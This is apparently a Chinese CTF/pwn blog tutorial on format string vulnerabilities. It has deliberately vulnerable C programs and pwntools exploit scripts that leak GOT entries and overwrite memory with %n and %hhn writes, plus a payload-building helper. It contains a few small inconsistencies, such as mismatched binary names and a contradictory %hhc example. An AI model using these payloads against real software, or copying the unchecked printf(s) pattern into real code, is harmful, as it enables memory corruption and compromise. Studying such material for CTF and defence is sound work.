pwn

格式化字符串漏洞

Posted by Kody Black on October 15, 2023

格式化字符漏洞

主要利用到以下的4种格式:

  • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
  • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
  • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
  • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

漏洞原理

wiki上面写的很详细了,直接复制如下:

Input: printf("Color %s, Number %d, Float %4.2f", "red", 123456, 3.14)
Output: Color red, Number 123456, Float 3.14

以上面的函数为例,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

利用

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
// 目标程序:leakmemory
// 编译:gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

获知格式化字符串位置

首先通过aaaa%p%p%p%p%p%p%p%p%p%p查看输出中的0x41414141所在的位置,例如:

./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x70257025%

可以看到,0x41414141是第四个%p得到的结果,从而确定当前的格式化字符串的起始地址是输入函数的第五个参数,格式化字符串的第四个参数。

泄露任意地址内存

如果我们获取到leakmemory.got['__isoc99_scanf']的地址为0x804c014,就可以通过输入b'\x14\xc0\x04\x08%4$s',来得到__isoc99_scanf对应的libc的位置。exp如下:

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print (hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) + b'%4$s'
print (payload)
# gdb.attach(sh)
sh.sendline(payload)
print (hex(u32(sh.recv()[4:8]))) # remove the first bytes of __isoc99_scanf@got

覆盖内存

//目标程序:overflow
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

首先获取格式化字符串的位置

0xffd006bc
aaaa%p%p%p%p%p%p%p%p%p%p%p
aaaa0xffd006580xf7f357b00x1(nil)0x10x616161610x702570250x702570250x702570250x702570250x70257025%

可以看到是0x61616161是格式化字符串的第六个参数。

修改c的值为16的exp如下:

from pwn import *

sh = process('./overwrite') 
# gdb.attach(sh)

c_addr = int(sh.recvuntil(b'\n', drop=True), 16)
success('get c_addr: ' + hex(c_addr))

# 注意%n是将已经输出的字符的长度写入到指定地址
# 所以我们需要先输出c_addr共4个字节
# %012p用来将一个指针的地址以十六进制形式输出,并且总宽度为12个字符(包括前缀0x)
# 此时我们总输出了16个字节,再使用%n将16写入到c_addr中

# payload = p32(c_addr) + b'%012p' + b'%6$n'
# 也可以把p32(c_addr)放到最后面
# payload = b'a'*16 + b'%12$nxxx' + p32(c_addr)
# 还可以使用fmtstr_payload
payload = fmtstr_payload(6, {c_addr: 16}, write_size='int')

success('payload: ' + str(payload))
sh.sendline(payload)
print(sh.recv())

修改a的值为2的exp如下:payload = fmtstr_payload(6, {c_addr: 16}, write_size=’int’)

from pwn import *

sh = process('./overwrite') 
overwrite = ELF('./overwrite')
# gdb.attach(sh)  

'''
因为a,b是全局变量,所以可以直接找到它的地址  
65: 0804a024     4 OBJECT  GLOBAL DEFAULT   25 a
52: 0804a028     4 OBJECT  GLOBAL DEFAULT   25 b
'''
a_addr = overwrite.symbols['a']
sh.recvuntil(b'\n')

'''
aa%8是第6个参数,$nxx是第7个,a_addr是第8个  
所以这里是先输出aa,使得输出字符数为2,然后通过%n将a的值修改为2  
最后的xx是为了和%n组合补齐8个字节
'''
payload = b'aa%8$nxx' + p32(a_addr)
# payload = fmtstr_payload(6, {a_addr: 2}, write_size='int')

success('payload: ' + str(payload))
sh.sendline(payload)
print(sh.recv())

下图为执行printf时的栈,同样可以看到:

  • a的地址是函数第9个参数(格式化字符串的第8个参数)
  • $nxx 刚好8个字节补齐

16973665339831697366533459.png

修改b的方法涉及以下格式化类型:

  • hh 指定长度为1个字节
  • h 指定长度为2个字节
  • c 输出char型(1个字节)
  • %hhn 可以向某个地址写入一个字节,%hn 则可以向某个地址写入两个字节

举个例子:

int a = 321;
printf("%hhc\n", a);

上述代码执行后,输出为0,因为一个字节最大为255,321刚好溢出66,所以输出65对应的ASCII码,即’A’。

为0x12345678的exp如下:

from pwn import *

sh = process('./overwrite') 
# gdb.attach(sh)
b_addr = 0x0804a028
# target = 0x12345678
sh.recvuntil(b'\n')

payload = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3)
# b_addr处写入0x78(120)
payload += b'%104c%6$hhn'
# b_addr+1处写入0x56(86)
# 因为前面输出了120字符,所以需要再输出222个字符达到86+256个字符
payload += b'%222c%7$hhn'
# b_addr+2处写入0x34(52)
# 因为前面输出了86个字符,所以需要再输出222个字符达到52+256个字符
payload += b'%222c%8$hhn'
payload += b'%222c%9$hhn'

# 也可以直接用fmtstr_payload
# payload = fmtstr_payload(6, {b_addr: 0x12345678}, write_size='byte')

success('payload: ' + str(payload))
sh.sendline(payload)
print(sh.recv())

ctf wiki将这种攻击方式进行了封装,修改为python3的代码如下:

from pwn import *

# prev为已输出字节数
# word为待输入内容
# index为对应偏移
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr

# offset为当前偏移
# size表示32/64位
# addr为需要修改的起始地址
# target是目标值
def fmt_str(offset, size, addr, target):
    payload = ""
    # 首先是p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
    for i in range(4):
        if size == 4:
            payload += p32(addr + i).decode('latin1')
        else:
            payload += p64(addr + i).decode('latin1')
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload.encode('latin1')

sh = process('./overwrite') 
overwrite = ELF('./overwrite')
# gdb.attach(sh)

b_addr = overwrite.symbols['b']
sh.recvuntil(b'\n')

payload = fmt_str(6,4,b_addr,0x12345678)
success('payload: ' + str(payload))
sh.sendline(payload)
print(sh.recv())

64位地址字节数

32位程序的地址都是4个字节

但是64位程序,虽说地址是8个字节,但是在实际存储时,大部分的地址有效地址只有前6个字节(小端序)所以很多时候,获取地址时取前6个字节而非八个。